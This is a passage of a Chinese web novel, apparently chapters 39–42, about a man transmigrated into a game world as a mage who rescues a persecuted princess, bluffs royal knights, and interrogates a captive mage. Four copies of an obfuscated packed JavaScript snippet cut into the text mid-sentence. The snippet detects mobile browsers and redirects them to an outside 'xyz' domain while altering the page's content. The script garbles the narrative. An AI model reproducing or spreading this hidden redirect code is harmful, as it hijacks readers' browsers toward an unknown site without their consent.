“你在说什么啊?”蜃楼有些无语,“我不是因为善良才不杀人的。” 这是所受教育的问题。在相对和平的A国长大的“钟灵”,去电诈横行的B国旅游时也不可能“入乡随俗”。他只是个被规则和法律框定的灰色普通人,说难听点,要是在这个世界长大、或者说今后没可能回到原来世界里去了,他早把弗洛瓦其他的皇室成员都杀完了。 ……可是系统也好,希娅也好,怎么都一副吃惊的样子。 他在他们眼里到底是什么形象啊? 站在他面前的希娅沉默半晌,最终撇了撇嘴,将那把园艺剪刀丢下了。 与此同时,她脚下的花丛开始褪色、湮灭,显露出角斗场石砌的地面来。那几个被鲜花包裹的贵族失去支撑,也软软地倒了下去——花茎没有吸干他们的鲜血,只留下一串细小的血洞。他们已经失去意识,但胸口尚有规律的起伏。 杀意与戾气顷刻消散。希娅抱臂看着他,眼神像只高傲的小猫。 “行了,走吧。”她说,“你不是来带我回去的吗?” 蜃楼顿了一下,张了张嘴唇,还想说些什么,身后的大门忽然传来一声巨响。金色的辉光在空中一闪而过,他似有所觉,回头再看,角斗场半掩的大门外,已经出现密集的人影…… 希娅眯起眼睛,跟着望向门外。银白的盔甲晃眼得很,她自是认出来了,那些人中,有弗洛瓦的“篱笆骑士”在。 奇怪。篱笆骑士怎么会出现在这里? 难道是来抓她的吗?不对,按理说她的行踪应该还没暴露…… 另一边,蜃楼若有所思地一顿,侧目看她,忽然问道:“你相信我吗?” 希娅扬起眉头,脸颊鼓了鼓:“我不……” “没关系,我相信你。”蜃楼打断她,伸手擦去她脸颊上的血液,飞快地说下去,“配合我一下。” 希娅蹙起眉头,还没明白他的用意,忽然感觉脸颊上传来一阵热意。她停顿下来,摸了摸那只本该受伤的眼睛,却感觉到有什么虚幻的力量从她指尖流了过去——蜃楼用幻象藏住了她眼里盛开的玉兰。 他做完这些,微微侧身,将她护在身后,弹指解除门外的结界。 与此同时,一队披甲荷剑的卫兵鱼贯而入…… * “所以……希娅现在没事了?我们可以回皇城了?” 废弃神殿里,篝火噼啪地燃烧着。季诺坐在火堆边,不敢置信地向蜃楼确认道。 蜃楼点点头,将昏睡过去的希娅扶到火堆边,沉声说道:“马坎男爵已经被弗洛瓦派来的骑士带走了。‘女神之血’的事已经闹得人尽皆知,真相很快会水落石出的。” 他将在“女神之血”发生的事情告诉季诺。 大门被破开之后,篱笆骑士率领卫兵包围了蜃楼和希娅。 那样的情况,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017023|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜃楼有办法洗清希娅的冤屈,也无法在众目睽睽下带着她脱身。但歌登镇一事多少给了他一点启发,于是,面对皮笑肉不笑的篱笆骑士时,蜃楼直接为自己捏造了一个合理的身份—— 魔法师协会的调查员。 鉴于协会的存在堪比都市传说,对方无法求证他的身份,也不能直接戳穿他。 蜃楼姑且算是唬住了他们。 像“女神之血”这样草菅人命的地下俱乐部,其存在本身便是对弗洛瓦法理的蔑视。直属弗洛瓦皇室的篱笆骑士会出现在这里绝非偶然;而“调查员”蜃楼出现在这里的理由,则是因为其中还有柯林这样资深的魔法师坐镇。 他将投影法阵刻在眼球上,在卫队闯入之后注入魔力,就像在达木兰宫时那样,启动了新一轮的“实况转播”。 不过,在霍斯菲尔德,晴朗的夜空并不能作为很好的幕布。蜃楼只能拜托季诺将他刻好的投影石率先散步出去,必要的时候,也能像现代的监控一样发挥作用。 这些本来是他为了向大众揭示“女神之血”的存在才做的准备,但在俱乐部内撞见全副武装的骑士之后,蜃楼改变了主意。 …… 他启动投影法阵,撒了一个弥天大谎。 以消失已久的“魔法师协会”的名义,蜃楼不光揭发了马坎男爵的罪行,还堂而皇之地在篱笆骑士面前提出质疑—— “众所周知,马坎男爵在战争时期曾跟随大皇子亚纶四处作战……” 蜃楼将希娅护在身后,沉声开口: “可他在见到走失的三皇女希娅之后,非但没有上报,还将她藏在这间地下俱乐部长达三年之久。” “以弗洛瓦皇室的能力,怎么会查不到这里?” “还是说,不是不能,而是——” 语意未尽,他看着面前微笑的骑士,眯起眼睛。 “这是个误会,魔法师先生。”年轻的骑士不羞不恼,笑着解释道,“边境地区势力盘根错节,皇室想要拔除,不是朝夕促成的易事。我们只是在等待合适的时机。” “是吗?”蜃楼抱起胳膊,凉凉地讽刺他,“给归来的皇女判罪,就不用等待时机了?听说大皇子案从事发到审判才用了三天,知道的是‘雷厉风行’,不知道的还以为有人急着杀人灭口呢。” 希娅被他结结实实地挡在后面,闻言有些意外地抬起眼睛,脑袋向外探了探,却又被蜃楼按了回去。 大约是没见过他这样直白的讽刺,骑士脸上的笑有些挂不住,轻咳了两声便移开话题:“所以,您和三皇女是什么关系呢?坐镇‘女神之血’的魔法师,您带走就是了。但三皇女是弗洛瓦的罪人,恐怕和魔法师协会无关——” “你是不是忘了一件事?”蜃楼打断他,展开背后的斗篷,传送阵的纹路栩栩如生,“魔法师协会规范所有行走世间的魔法师的行为。你们的三皇女,也是个魔法师。” 39. 第 39 章 …… “所以,您就这样把希娅带回来了?”废弃神殿里,季诺吃惊地说,望向蜃楼的目光变得更加崇敬,“当着篱笆骑士的面?蜃楼先生……” 蜃楼点点头,将已经昏睡过去的希娅放在季诺铺好的软垫上。 希娅受这一遭元气大伤,刚和他踏进传送阵里就失去了意识。虽然身上的伤势大多愈合,但面色依旧不好,而那只被魔法反噬、长出花苞的眼睛,也依然保留着一道令人心惊的伤口——蜃楼挥开幻象,看着她那只血污的眼睛,表情隐隐担忧。 幻象散去,季诺终于注意到了希娅非同寻常的状况。 “这是……”他蹙起眉头,似乎想起什么,喃喃道,“怎么会……难道希娅她又用了那股力量?” 这倒是令人意外了。蜃楼自己都还没琢磨出这什么情况,季诺竟然知情吗?他抬头看他,飞快地抓住对方话中的重点:“又?她以前也这样过?” 季诺犹豫片刻,解释道:“小时候……希娅为了救我,和一个伯爵的长子打了起来。那时她还没学习过魔法,却已经能用魔力来保护自己。我不太清楚那是什么力量,但之后,希娅脸上就长出了奇怪的花瓣……再后来,女皇用惩戒的名义把她拘禁起来了,再见面时,她的脸已经恢复如初。” 蜃楼听他说完,表情有些微妙。 他不知道这件事,游戏里也没提到半句。刚才问了系统,得到的也是模棱两可的答案——它说,希娅眼里的玉兰花是元素魔力的化形。 那是与现在的魔力完全不同的概念,是最早的、元初的魔力。就像翻涌的海水和被装在容器中的蒸馏水,客观上没有好坏之分,但对人体而言,对应海水的“元素魔力”过于蛮横,算不上什么好东西。 问题是,随着时代的进步,“元素魔力”作为能源早已被这个世界淘汰了。一般法师也无法操控这种力量。 希娅又是从哪学来的? “不管怎么说,以后不能让希娅再用这种魔法了。”系统叹了口气,难得用正经的语气告诫他,“‘元素’的力量看起来能修补伤痕,但那就跟拿胶水把伤口粘起来一样……不但治标不治本,还会让人体发生异变。就比如……你看,这朵花本该是希娅的眼睛。” 蜃楼对这个世界的魔法认知并不深刻。 他看着那朵从希娅眼眶中破出的玉兰花,似懂非懂地听着系统的话,又将季诺告诉他的信息联系起来,心中忽然萌生一个诡谲的猜测。 “照季诺的说法,女皇好像对此知情。”他询问系统,“希娅的力量,会不会跟女皇有关?……说起来,她是个什么样的人?游戏里都没怎么提到过。” 正式剧情开始,希娅早已离开“女神之血”、重回皇城了。弗洛瓦的国情特殊,现在的皇帝曾是东洲另一大国的皇子;女皇与他成婚之后,封他为小国王,与女皇平起平坐,二人一同治理这个国家。在女皇死后,小国王则顺理成章地成了这里唯一的皇帝。 游戏中对女皇的描述不多,蜃楼仔细回想,只能想起她曾经是很喜欢希娅这个女儿的。因为希娅黑发黑瞳、鼻梁挺翘,几乎遗传了她东洲父亲的所有优点…… “斯人已逝,思考这种事情没什么意义。”系统搪塞他,“还是先想想希娅的眼睛该怎么办吧。” 又在转移话题了…… 蜃楼抱起胳膊,表情无语。 它说得倒是没错,用幻象遮掩治标不治本,还是得想办法让希娅的眼睛恢复正常。 但现在最重要的是……治眼睛要买药,他们身上已经没什么钱了。 蜃楼有些发愁,正想着该如何跟季诺开口,忽然注意到他从口袋里掏出了几枚金灿灿的圆形硬币。 “啊,对了。这些钱先给您。”季诺说着,将那几枚硬币放进蜃楼手里,不好意思地挠了挠头,“呃,虽然您说放着就可以,但是我看那些酒馆老板对这些投影石很感兴趣,就直接卖出去了……我想,有钱傍身总能安心一些。” 投影石? 蜃楼顿了一下,立刻想起来了。他在离开前是拜托季诺传播他的投影石来着,那时是想着这东西跟电视差不多,他弄个“新闻联播”大约也没什么问题……没想到还能从商业角度来牟利呢。 …… 这么一看,魔法还真是种犯规的东西。 拿刀刻几下再画点东西上去,就能让一块石头值这么多钱了…… 蜃楼将金币贴身收好。他们接下来就该去皇城了,这些钱买些好药医治希娅的眼睛正好。但那是要等到天亮之后再考虑的事情了,他现在有更重要的事情要做。 几个人吃完了东西,便在神殿内将就着睡下了。当然了,蜃楼是不用睡觉的,他只等到希娅、季诺都睡下之后,重新启动了连接着旅店的单向传送阵。 他要回去看看情况。 伪装魔法启动,再次出现在酒馆门前的蜃楼,已经是个健壮的中年男人模样。他在这个世界呆了这么长时间,算是明白了一个道理:只要你看起来拥有足够的力量,生活的难度就会大大下降。 肌肉虬劲的男人走在街上,没有人敢轻易地招惹他。他找到之前经过的、张贴满悬赏令的那条小巷,果然看见一队卫兵正在回收上面的希娅画像。 “也不知道法庭那帮家伙在搞些什么,这一张张撕得撕到什么时候去!昨天半夜突然要出队也就算了,刚回宿舍还没躺下呢又要来撕通缉令,老子真是受够了……”卫兵A骂骂咧咧道。 “哎哟,重点是通缉令吗?”卫兵B打断他,神神秘秘地说,“重点不是咱们出队竟然是去抓领主的吗?那个啥骑士来着,手里拿了一枚徽章,队长就直接跟他走了!我说咱们霍斯菲尔德,是不是要变天了啊?” “变不变天的,跟我有什么关系。”卫兵啐了一口,语气愤愤,“换个人,不也是要从老子口袋里掏钱吗?这给那些劳什子贵族当狗的日子,也不知道什么时候才是个头……” 离开小巷之后,蜃楼又去了一趟城主宅邸。 不过是一夜过去,这里几乎人去楼空。匆忙往来的文员们不见了,只有零零散散的几个人打着哈欠,抱着一箱箱杂物在房子里进进出出。 他看了一会儿,准备离开,忽然听见宅邸的大门处传来一阵喧闹声。 侧首望去,还是个熟人。他们初来乍到时见到的那位书记官,现在正站在门前,疲惫地与一个农妇打扮的女人解释着什么。 “……我真不是领主。”他无奈地说,“我是以前的领主雇来帮他处理事务的。现在他被抓了,弗洛瓦皇室很快会派别人来接手这里,我已经没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023134|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能帮得上您的了。” 农妇瞪大眼睛,否定道:“不不不!怎么可能?您每年都来我们村送柴火和粮食,大家都说您是个好领主!您如果不是领主,又为什么要给我们送东西呢?” 书记官抽了口气,一时竟不知该如何回答她。 他别开眼,正思考着脱身的措辞,忽然注意到站在一边的蜃楼。书记官眼前一亮,又与农妇说了些什么,便抽开身向蜃楼的方向走过来了。 “你是昨天举报那几个老兵的人吧?”书记官说着,面上的表情难得轻松了些,“来得正好。马坎男爵昨夜被抓,以前跟着他的那些老兵也被带走调查了。我昨天已经把你们的‘诉讼书’交上去了。村子的问题应该没事了,不过……” “不过什么?”蜃楼配合地问下去。 “不过,这一切实在是太蹊跷了。”书记官叹了口气,继续说道,“一个晚上的时间,城里竟然就发生了这样翻天覆地的变化,也不知道是好事还是坏事……对了,你们还要留在霍斯菲尔德吗?” “也许吧,毕竟我们是来这里投奔亲戚的。”蜃楼睁着眼说瞎话,“您有什么打算吗?” 书记官扶了扶眼镜,说:“你们从乡下来,可能不太清楚。霍斯菲尔德看似和平,但实在说不上什么好地方……现在男爵被抓,他地下养着的那些疯子无人管束,恐怕要跑出来作乱,还是早些离开比较好。唉,我本来就是为了自由才跑来这里的,没想到兜兜转转,还是得回皇城去……” 皇城? 蜃楼吃了一惊,忽然意识到什么,看着眼前这位模样憔悴却不失精明的书记官,一个奇妙的猜测从他脑海里冒了出来。 “您原来是皇城的人啊?”他打了个哈哈,继续装傻套话,“不好意思,我还以为……” 书记官摆摆手:“没事。不知道为什么还总有一群人把我当成领主呢……暂居在皇城的斐利伯爵是我的舅舅,你应该听说过他。” 蜃楼蹙起眉头,还没回想起这个斐利伯爵到底是何许人也,系统却忽然出声了:“斐利伯爵的外甥?这老斐利是从前就跟在女皇身边的老人了啊。这人放着好好的少爷不做,跑来这里给马坎当牛做马?真不知道现在的年轻人都在想些什么……” 说得还挺一针见血。 蜃楼难得与系统达成一次共识。接下来,他又有一搭没一搭地与书记官寒暄了几句,才告别他,向城内的商店街走去。 口袋里的三枚金币在这里也算是一笔不小的财富了,蜃楼拿出一枚,换成了一百枚银币,在系统的提示下买了些药材和食物。做完这一切,他没有立刻回到神殿,而是脚步一拐,来到了先前暂住的旅店里—— 退房的时间没到,他向这里的老板打过招呼,不会有人上来打扰。他推开房门,解开伪装,同时看向那个正歪着身子靠在床边、不住颤抖着的男人。 他的双手被绳子捆住,动弹不得。不过话是这样说,普通魔法师需要有“法器”才能施展力量。他的法器已经被蜃楼摧毁了,单论体术,更不可能是他的对手。 把这个人捆在这里,完全出于个人恩怨。 蜃楼放下兜帽,走到那个男人面前,垂目看他。 “柯林,是吗?”他用脚踢了踢他的膝盖,抱臂问道,“你还记得我?” 40. 第 40 章 作为魔法师协会的“调查员”,蜃楼能带走希娅,没理由不带同为魔法师的柯林离开。 所以,尽管心里不太乐意,他还是把柯林暂时关在这里了。 至于之后该怎么办,蜃楼暂时还毫无头绪。 他毕竟不是真的调查员,也不能把人关在这里一辈子。可是把柯林放出去,又不知道会祸害多少人…… 左右权衡一番,蜃楼还是决定先抓住机会,从他嘴里套出一些信息来。 有一件事,他实在是有些在意。 柯林似乎认得他。 在“女神之血”,这家伙倒下的一瞬间,蜃楼听见他嘴里念叨的话了。结合当时的情况,那句话只能是对他说的,还是不太妙的那种;他不确定希娅有没有听见,可她要是听见了,后面又怎么会选择配合他演戏…… 果然还是没听见吧? 想到这里,蜃楼莫名松了口气。 现在,柯林被他捆在房间里,表情却没有半点恐惧或惊慌的样子。或者说,自他踏入这个房间以来,这家伙就一直在用炽热而期待的目光紧盯着他—— 这让蜃楼有些烦躁,并不很想蹲下去和他说话,于是只站着凉凉地睨他。 但这似乎并不能够威胁到他。柯林盯着他,口中含糊地嘀咕了几句,随即又清清嗓子,兴奋地对他张口:“老师!您来了……您来了!我就知道您会来看我的!” …… 还真是“蜃楼”的老熟人啊。 蜃楼心想着,没回他的话,只给自己倒了杯水,找了把椅子随性地坐下。跟希娅、季诺这些人不一样,他完全不认识柯林,说多错多,还不如沉默。如果他真是柯林的老师,也不需要他说些什么,柯林自己会主动交代的。 果然,见蜃楼一言不发许久,柯林脸上的兴奋也逐渐褪去了。他打量着蜃楼的神色,试探地开口:“老师……您不高兴?是因为我做得不好吗?” 蜃楼一抬眉尾,把问题抛回给他:“你自己不清楚?” 柯林看着他,微微发愣。 “啊,啊,您放心!”不出片刻,他似乎意识到什么,慌忙解释道,“刺杀大皇子的事不会牵扯到您的!参与刺杀的奴隶都来自‘女神之血’,马坎男爵跳进海里也洗不清。就算希娅意识到什么,但她现在也在您的手里……” 蜃楼听着他的话,眯起眼睛,面上依旧没有什么明显的情绪。柯林跪在桌边,紧张地看着他,却只能看出蜃楼至少没有生气,否则他不可能活着走出“女神之血”…… 但是,为什么呢? 柯林一直无法理解这位阴晴不定的老师。让希娅成为案犯的决定是他做的,可见蜃楼在女神之血的架势,分明是冲着救人来的—— 虽然希娅的确是个魔法师的好苗子,可他这位老师,连心都没有,怎么可能惜才? 柯林想不明白,踌躇了一阵,又说了下去:“所以,您还是选择三皇女?二皇子那边,还需要联络吗?老师……其实我觉得以三皇女的性格,恐怕不如二皇子希恩更好操控……” 在他说这话时,蜃楼正在喝水。直到从柯林的口中听到希恩的大名,他停顿一下,差点没把嘴里的水喷出去。 联络?二皇子? 蜃楼跟希恩还有关系啊? 但仔细一想好像又不是很意外……要不说通缉令上怎么没他呢。蜃楼定了定神,依然没搭理柯林,在脑海里敲起系统:“在不在?原男主和希恩怎么还有联络啊,你都没告诉我……到底什么情况?希娅当年失踪,不会也和蜃楼有关系吧?” 以往一敲就出声的系统,这次却没立即回应他。蜃楼有些惊诧,又唤了几次,才确认它是真的不在了。 他心中一惊,放下茶杯,转向柯林。 他其实想问很多事情,关于希娅的、阿忒菈的、“女神之血”与马坎男爵的,但眼下系统不在,便只剩下一个最为迫切的问题盘旋在他的脑海。 “告诉我。”蜃楼俯下身,目不转睛地盯着柯林,金色的瞳仁中散发出淡淡的辉光,“这世界上是不是有一种魔法,能把异世的灵魂拉进别人的身体里?或者是留存一丝意识在他人的脑袋里,能看到他周围的场景,还能隔空交流?” 柯林看着他,目光逐渐变得混沌:“有。但是……很难,很复杂,那恐怕是我穷极一生也无法探究的领域……” 蜃楼顿了一下,单刀直入地问他:“所以,这个世界上,还有谁能施展这样的魔法?” 柯林喃喃地说:“我不知道……我不能。或许大魔法师可以,但是……” 他沉默了一会儿,就在蜃楼以为是催眠术失效、正要再次开口的时候,柯林忽然再次开口,语气是一反前态的肯定。 与此同时,蜃楼猛地起身,桌上还装着半杯水的茶杯被他打翻,稀里哗啦地滚到地上。水渍沾湿了他的衣角,他却无心顾及,只在心中反复咀嚼着柯林那句令人百思不得其解的答案—— 他说: “但是,是老师您的话,一定可以做到。” * 再回到神殿里,蜃楼竟产生恍如隔日的错觉。 系统依然没有回音,可这反而不是眼下让他最为不安的事情。他踏入神殿内部,环视四周,却发现其中空无一人—— 季诺和希娅都不在了。 他顿了一下,忽然感觉到一股没来由的焦虑。 他知道希娅不信任他,因此一开始就向她明确了二人之间的利益关系。可是在霍斯菲尔德发生的这些事情,他后来又在心底暗自复盘了几遍,实在无法释怀。 他难道不比阿忒菈靠谱吗? 为什么希娅宁愿利用阿忒菈那样的家伙,也不愿意利用他呢? ……算了,仔细一想,要换作他站在希娅的立场上,也很难依靠这样的蜃楼。 蜃楼叹了口气,抱起胳膊,开启“魔力观测”状态,试图借锁链的指引找到希娅。他不会像以前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026984|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜃楼一样强行干涉她的选择,可现在不知道该说是“一朝被蛇咬、十年怕井绳”还是什么,一会儿找不着她,总觉得又会是阿忒菈干的好事。 当然,蜃楼心里更清楚,这是不可能的。 阿忒菈跟马坎关系密切,现在应该被骑士带走审问了。 至于希娅到底跑哪儿去了…… “大魔法师先生。”有人戳了戳他的后背,明知故问地说,“在找谁呢?” 蜃楼顿了一下,转过身去,果然看见希娅正笑吟吟地看着他。 他松了口气,神色稍微缓和:“我在找你。” 那朵盛放的玉兰花依然嵌在她的眼眶里。可另一只仅剩的、黑色的眼睛,却好像变得比以前更加明亮了。希娅弯了弯眼眸,心情看起来很好,轻哼一声便越过他,走到篝火边坐下,哼起歌来。 蜃楼抿着嘴唇,放下手里那堆在霍斯菲尔德买来的东西,从中取出几束草药扔进篝火上临时支起的锅里,又倒了一些蜂蜜进去。做完这些,他忽然想起什么,又问希娅:“季诺去哪了?” 希娅说:“神殿里没有水了,他去河边取水啦。” 蜃楼化出冰块扔进锅里,露出不解的表情:“你没告诉他魔法师可以变水出来?” 在有生命的世界里,水是一种无处不在的元素。 对于魔法师来说,获取水源不需要像复制窗帘布一样用魔力转化。只要进行简单的催化,就能借助空气中存在的水分凝结出水珠了。 制冰比制水稍微复杂一些,但依然属于基础魔法的范畴。希娅肯定是知道这一点的,为什么不告诉季诺呢? 希娅呵出一阵白雾,接着热气搓了搓手,不紧不慢地说:“季诺总想为我们做点什么。也不是让他去送死,这种事情,就让他去吧。” ……原来是这样。 蜃楼侧目看了希娅一眼,从带来的纸袋里取出一块烤饼。这是他记得最清楚的一件事,在《不合格皇女》发售的那天,女主角希娅的海报就张贴在几位男主角的下面。海报上的少女面上挂着淡淡的笑,鎏金的字体三言两语便概括她的人生:落难公主、意志坚定,是弗洛瓦未来的女皇陛下,但比起蛋糕点心,最爱吃的却是一种叫做“烤饼”的平民食物。 有那么好吃吗? 出生在21世纪的“钟灵”没听说过这种东西。但他回来的时候,特意买了一块,刚出炉的,尚且是热腾腾的、氤氲着让人胃口大开的小麦香气。他把它掰成两半,将较大的那一块塞进希娅手里。 “希娅,我知道我没资格要求你,但是……”他沉吟片刻,认真地说,“像昨晚这样危险的事情,能不能提前和我说一声?” 希娅正对着她手里那份热乎乎的烤饼出神。现在听见蜃楼的声音,下意识地轻颤了一下;但她很快镇静下来,抱着饼咬了一口,自嘲地说:“你在担心我,为什么?” “要不是为了夺嫡,我这条命对你来说,还能有多重要呢?” 41. 第 41 章 蜃楼闻言,侧目看向希娅,表情有些复杂。 “这不对。”他稍作停顿,叹了口气,继续说了下去,“希娅,我们因为共同的目的走到一起,的确需要衡量彼此的价值。但是,这不代表你在我眼中只是工具……恰恰相反,你是个很出色的人。” 他说完这些话,掰了一块烤饼放进嘴里。没有人告诉他这种长得像面包一样的东西是掺了不少木屑的……杀伤力堪比混杂在各种菜系里的生姜。拒绝之后,微妙的气味在口腔里爆发出来。不但噎得慌,木屑的味道也早盖过那一点点的小麦香气了——希娅怎么会喜欢吃这种东西? 蜃楼面无表情地将那一小口咽了下去,又把剩下的食物收进了袋子里。 而希娅看着他,扑哧一笑,似是来了兴致:“我,出色?你是这样想的吗?” 她的重点显然不是“了不起”,而在于这个“你”上。 可蜃楼没注意到她话里挖的坑,认真地低下头想了想,开始陈述起他所思考的现实来:“希娅,你很聪明,知道自己想要什么。包括你选择自己前往‘女神之血’……才从弗洛瓦的监牢里逃出来,又要回到那个噩梦般的地方里去。这已经证明你拥有非常了不起的决心了。” 他看向希娅,目光认真。 “我不能想象你是抱着什么样的心情踏入那里的,但是……” “但是,你已经做得很好了。”他顿了一下,摸了摸希娅的脑袋,继续说道,“在那个世界里,你本不必宽恕任何人的。” 他的底线有时还挺抽象的。虽然不想自己杀人,但在前往“女神之血”前,蜃楼已经做好帮希娅毁尸灭迹的准备。眼球上刻的法阵需要注入魔力才会开始同步,他本有些踌躇,可见到狼狈的希娅,还是毫不犹豫地开启了它。 现在,霍斯菲尔德的居民都知道城里来过一位魔法师协会的调查员了。得亏投影的视角是他自己的第一人称,“蜃楼”的外貌暂时还没有宣扬出去。虽然让皇室的人看到了, ……至少结果还是好的。 希娅坐在篝火边、抱着那块足有她一张脸大的半截烤饼,表情若有所思。 当局者迷,旁观者清。她或许还需要时间才能理解自己无意中克服了多么大的困难,希娅被这个世界打压得太久,连自己身上的闪光点都无法看见了。 但没关系。 反正他不是那个蜃楼,不差那点告诉她的耐心。 蜃楼收回手,面上依旧没有什么外露的情绪。他拨弄两下火堆,又向火中注入了一些魔力进去。 篝火燃烧得更旺了。铁锅里的冰块融化成水,开始沸腾起来。 “蜃楼?”希娅忽然呼唤他的名字。 “嗯。”他应道,声音低沉而柔和,“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031410|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?” “如果……我是说如果,我真的坐到了那个位置,你也达成了自己的目的。”希娅咬了口烤饼,熟悉的味道在她口中散开,小麦的香气、粗糙的胚体、难以下咽的木屑,一切都还是她记忆中的样子,就连眼前这个男人也是,“你又准备做什么去呢?” “没什么,我会回到我该去的地方。”蜃楼顿了顿,继续说道,“反正你应该也不是很想见到这张脸……放心,我们不会再见面的。” 说话的功夫,锅里的药汤已经煮好了。 蜃楼在霍斯菲尔德买了些干果和药草回来。煮成汤功效和现代的红枣银耳差不多,气味闻起来也没什么区别。他盛了一碗递给希娅,她却没接下来,而是抿着嘴唇,漆黑的眼睛定定地看着他。 蜃楼以为她在防备他,便解释道:“这是甜的。补血益气,对你的伤好。” 希娅哼了一声,接过汤碗,一口烤饼、一口甜汤地吃了起来。 “所以,能答应我了吗?”蜃楼问道,“以后做这种事情之前,先跟我说一声。我不会害你,而且我比阿忒菈那种人靠谱很多。” 希娅抬起头来看他。就在蜃楼以为她没什么拒绝的理由、出于利益也该答应的时候,她却眨了眨眼,向他狡黠地吐了吐舌头。 “才不呢。”希娅说,“你最好时时刻刻都盯着我哦,大魔法师。” 42. 第 42 章 这个世界是真的很奇怪。 在“女神之血”发生的一切,一夜之间便闹得人尽皆知。弗洛瓦撤回通缉令的速度快得惊人,按照这个发展,希娅接下来就可以回到皇城,继续游戏的夺嫡剧情了。 另外一个消息则是,系统回来了—— 这家伙无故缺席了一天,再加上柯林之前的炸裂发言,蜃楼暗自纠结了一阵,最终没去追究什么。没办法,毕竟他就是个异乡“打工人”,还得指望系统送他回去。除非在这个世界能找到第二个可以送他回去的人,否则没必要打破现状…… 至少,希娅这边姑且是安定下来了。 通缉令撤回,他们现在不需要伪装魔法也能在外行走。然而,最为迫切的问题是解决了,又有一连串新的问题冒了出来。 该怎么解决柯林蜃楼还没想明白,却有一封神秘的信以一种非同寻常的手段寄到了他手上……在他思索该如何带希娅回到皇城的时候。 “……”蜃楼看着面前飘飞的红色丝线,再三向系统确认这不是什么邪恶魔法之后,难以置信地问道,“信?蜃楼还能有朋友给他写信?” 甚至还不是一般的信。 他刚才只是打开窗户通风,就有两只蓝羽鸟飞了进来。蜃楼认不出它们的品种,但见其爪间抓握着无数形态奇异的红线;随着它们在窗前停驻,红线也开始交织、勾勒出这个世界的文字形状—— 当然,蜃楼是看不懂的,只能靠系统给他翻译。 “我的朋友,近来可好?”系统慢吞吞地读着信,语调中没有半点可疑的起伏,“你在弗洛瓦干的‘大事’,我都听说咯。真让你诓过去了,协会名存实亡的消息还没几个人知道……呵呵,不过最近发生的事情,倒是让业界的魔法师们格外热血沸腾呢。” “其他就不多说了,你是不是会跟着小公主回皇城?正好我也接了个在皇城的工作。其他等咱们见面再细聊……对了。柯林家的族长在找他呢。他算是触了那些老古董的霉头,人你没杀吧?快送小子回家挨打吧。” 等到系统话音落下,那些奇异的丝线仿佛忽然有了生命似的、如荷塘中的泥鳅一般开始扭动起来。蓝羽鸟欢欣地叫了两声,扇动着翅膀飞远去;而组成文字的红线也扭头游入窗外的雨幕中,再不见踪影了。 蜃楼回过神来,停顿片刻,决定采取信中所说的办法,安置柯林。 送走了柯林,希娅回城夺嫡也被正式地提上日程。 要做的准备很多。蜃楼忙来忙去,实在没时间将注意力分给这封奇怪的来信。至于柯林的那几句炸裂发言,也很快被他抛在脑后了。 在原剧情中,男主角蜃楼为希娅安排的登场身份,是大皇子刺杀案中为救人“挺身而出”的村女。 皇城剧情由此展开,最终被告发的有且只有马坎男爵。希娅曾在“女神之血”工作的这段往事,并没有被公之于众。 现在嘛,情况就恰恰相反了。 皇室在撤回针对希娅的通缉令之后,始终没有更进一步的表示。蜃楼无法再坐以待毙,因为现在的希娅不但没有游戏中的优势,还多了一项争议的经历亟待解决。 他暂时想不到办法。只得在观察弗洛瓦皇室意图的同时,让希娅留在白腰镇上养伤。 神殿废墟的环境不太适合病号久住。至于希娅,她在弗洛瓦监牢里的旧伤未愈,又去了趟“女神之血”,身体早已经是强弩之末了。 在歌登、马坎男爵接连倒台之后,雪莉·怀恩因祸得福,重拾起家族的名望与权力。她为蜃楼搜集来珍贵的药草,准备了庄园内重新修缮过的豪华房间,还有酒庄新酿的葡萄酒——他们的葡萄又种起来了。 但蜃楼最后只收了酒,还给了雪莉对应的钱币。他不想欠别人太多人情,自己带着希娅、季诺,用卖投影石的钱在镇上租了一座房子,就这样暂住下来了。 除了雪莉姐弟,商店老板菲特也时不时带着他的鹦鹉儿子来串门。 